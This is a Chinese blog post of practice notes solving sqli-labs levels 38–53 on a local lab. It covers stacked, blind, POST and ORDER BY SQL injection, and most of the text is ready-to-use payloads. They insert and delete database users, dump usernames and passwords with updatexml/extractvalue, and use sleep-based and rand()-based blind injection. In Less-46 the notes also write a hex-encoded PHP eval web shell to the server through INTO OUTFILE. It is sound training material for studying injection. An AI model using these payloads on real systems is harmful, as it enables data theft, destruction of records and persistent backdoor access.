目录
前言
Less-38 字符型堆叠注入
Less-39 整数型堆叠注入
Less-40 字符型堆叠盲注
Less-41 整数型堆叠盲注
Less-42 字符型堆叠POST注入
Less-43 字符型堆叠POST变形注入
Less-44 字符型堆叠POST盲注
Less-45 字符型堆叠POST变形盲注
Less-46 Order By整数型显错注入
Less-47 Order By字符型显错注入
Less-48 Order By整数型盲注
Less-49 Order By字符型盲注
Less-50 Order By整数型显错堆叠注入
Less-51 Order By字符型显错堆叠注入
Less-52 Order By整数型堆叠盲注
Less-53 Order By字符型堆叠盲注
本blog作为练习笔记, 文笔不才, 仅供参考, 不正之处望大神指正。
堆叠注入篇对应labs的38~53关:
虽然用很常规的方法都可以注入成功, 但是并不侧重于注入爆数据; 而是考察堆叠注入:
http://localhost:2333/Less-38/index.php
?id=0' union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')%23
发现第二条语句成功执行了。
堆叠注入(Stacked injections), 从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。
看看源码:
总的来说就是mysqli_mylti_query()这个函数可以执行用;分隔的多条语句。
这关和上一关一样了, 只不过这关是整数型, 给出payload:
http://localhost:2333/Less-39/index.php
?id=0 union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')
判断得知为字符型盲注, 可用布尔盲注或者延时盲注。
然后判断字段数, 发现order by不成立:
SELECT * FROM users WHERE id=('1' and '1'='1')
后来发现id值还被( )闭合住:
那为什么判断字符型时候的语句: id=1' and '1'='1 又成立呢?
我们把语句带入SQL语句中就变成:
SELECT * FROM users WHERE id=('1' and '1'='1')
然后注入得字段数为3
我们用布尔盲注爆数据库长度, 下面是payload:
http://localhost:2333/Less-40/index.php?id=1') and length(database())=8 %23
然后剩下的爆库爆表等操作就不再复述了, 之前的博客都有介绍。
(ps: 这里可以使id=0引导成显错注入)
这里继续加入堆叠注入, 比如删除数据库的stack用户: (前提是爆出了表名和用户名)
http://localhost:2333/Less-40/index.php
?id=1') and length(database())=8; delete from users where username='stack';
然后看到stack用户消失:
这关和上一关一样, 只不过这关是整数型注入:
然后是payload:
http://localhost:2333/Less-41/index.php
?id=1 and length(database())=8; insert into users(username,password) values('stack','stack');
这关和 Less-24 二次注入界面 差不多。
开始先判断注入点是否存在于用户名:
然后不管怎么注入都是:
于是判断注入点是否存在于密码:
注入一个单引号 (用户名随意):
报错成功, password的内容应该是被单引号闭合住,
由此猜测登录的SQL语句为:
SELECT * FROM users WHERE username='$username' and password='$password'
于是可以将password部分的闭合掉, 再加入堆叠注入:
hack'; DELETE FROM users WHERE username='stack';#
成功执行删除语句。
和上一关大同小异, 不同的是在password处被( )闭合:
首先注入单引号:
可以看到, 有括号闭合, 那么和上一关的payload差不多:
hack'); INSERT INTO users(username,password) values('stack','stack');#
这关也差不多, 除了没有报错信息,其他的没有变化。
当 POST 没有报错回显时,判断查询语句就需要构造永真条件同化登录失败与查询出错,通过返回的图片不同来确定是否符合查询语句闭合的条件。(盲注条件下)
接下来尝试: ( or 语句)
hack" or 1=1#
hack' or 1=1#
hack') or 1=1#
hack") or 1=1#
最后得知为单引号注入: hack' or 1=1#
堆叠注入:
hack'; DELETE FROM users WHERE username='stack';#
执行成功。
和上一关一样, 判断构造or语句判断类型的时候, 判断得知为: hack') or 1=1#
堆叠注入payload:
hack'); INSERT INTO users(username,password) values('stack','stack');#
接下来几关都是关于order by的注入, 观察一下页面,
它是根据传入的sort参数来对查询结果排序:
我们尝试对sort参数值注入:
http://localhost:2333/Less-46/index.php?sort=1 and 1=1 (整数型注入)
http://localhost:2333/Less-46/index.php?sort=1' and 1=1# (字符型注入)
http://localhost:2333/Less-46/index.php?sort=(select 2)
最后发现三种情况都无法成立。
这里有两种方法注入:
这就和Less-17 updatexml() 显错注入 很神似了。
http://localhost:2333/Less-46/index.php?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),0)
(0x7e是~的Hex编码)
然后爆表就是同理可得了:
http://localhost:2333/Less-46/index.php
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
爆users表的字段:
http://localhost:2333/Less-46/index.php
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)
爆数据:
http://localhost:2333/Less-46/index.php
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users limit 0,1),0x7e),1)
有了注入点, 我们可以尝试写webshell后门了,
在 Less-7 文件写入注入 有介绍
利用 into outfile 将一句话写入:
http://localhost:2333/Less-46/index.php
?sort=1 into outfile "./shell.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
其中, ?php eval($_POST["cmd"]);?>的Hex编码就是0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
执行成功, 看看有没有写入文件:
然后用菜刀连接即可。
这关和上一关差不多, 区别就在于是字符型注入, 多了单引号闭合:
下面给payload:
http://localhost:2333/Less-47/index.php?sort=1' and updatexml(1,concat(0x7e,(database()),0x7e),0)%23
其他就和Less-46大同小异, 不再赘述。
这关我们发现没有错误信息回显:
只能通过页面是否正确来判断注入的sql是否被执行。(大多的网站也是这种类型, 有的是直接跳转到指定的错误界面, 也是一样的原理)
既然没有了报错注入, 这里可以用布尔注入或者延时注入, 要利用if()函数和rand()函数
常规的布尔注入在这关并不被接受, 所以这里引入rand()函数:
rand(N) 函数
返回一个0.0~1.0内的随机浮点型数值。
取0~10 (不包括10)的随机浮点值写法: rand() * 10
取5~10的写法: 5 + rand() * 10
当要取整数的时候, 就要用floor函数来取(下)整。
此外, 当N被指定时, 它将被用作种子值, 每个种子产生的随机数序列是不同的。
那么这里就可以用rand(true|false)来布尔注入了:
当rand(true)时的排序:
当rand(false)时的排序:
然后就可以进行布尔注入了, 比如判断当前数据库长度:
http://localhost:2333/Less-48/index.php?sort=rand(length(database())=8)
这时候就是true时候的排序结果了:
同理, 接下来的爆表爆字段操作就不再赘述。
首先我们先了解order by 语句后面是否给接sleep()函数:
是可以加sleep()函数的, 但是sleep(1)为什么延迟了18秒??
可能是因为order by的排序方法可能是对每一行数据排序都调用一个and后面语句来判断是否成立, 导致了重复地执行sleep(1)。
那么根据这个原理, 注入点就很容易找到了:
http://localhost:2333/Less-48/index.php?sort=1 and sleep(if((1=1),0,1))
然后爆库的操作就是在if中修改布尔判断条件, 和上面的布尔注入是一样的。
当然, 也可以用into outfile来写webshell。
这关和上一关的区别在于这关是字符型, id值被单引号闭合住:
正因如此, 上一关的布尔rand()注入就用不了, 但是可以用延时注入:
下面是爆数据库长度的payload:
http://localhost:2333/Less-49/index.php?sort=1' and sleep(if((length(database())=8),0,1))%23
剩下的就如出一辙了。
这关和 Less-46 一样, 只不过这里可以进行堆叠注入执行多条语句:
在源码中可以看到用了 mysqli_multi_query() 函数:
extractvalue() 报错注入+堆叠注入:
http://localhost:2333/Less-50/index.php
?sort=1 and extractvalue(1,concat(0x7e,(database()),0x7e)); insert into users(username,password) values('stack','stack');
多了一对单引号闭合:
http://localhost:2333/Less-51/index.php
?sort=1' and extractvalue(1,concat(0x7e,(database()),0x7e)); delete from users where username='stack'; %23
注意, 这里不会执行第二句delete, 因为在extractvalue() 的时候, 已经引发报错了, 导致接下来的堆叠注入不得以执行。
正确:
http://localhost:2333/Less-51/index.php
?sort=1' ; delete from users where username='stack'; %23
和 Less-48 一样, 可以用布尔盲注或者延时注入:
http://localhost:2333/Less-52/index.php
?sort=rand(length(database())=8); insert into users(username,password) values('stack','stack');
http://localhost:2333/Less-52/index.php
?sort=1 and sleep(if((length(database())=8),0,1)); insert into users(username,password) values('stack','stack');
只不过多了一对单引号闭合, 绕开闭合即可: (这里布尔盲注失效 用延时注入)
http://localhost:2333/Less-53/index.php
?sort=1' and sleep(if((length(database())=7),0,1)); delete from users where username='stack'; %23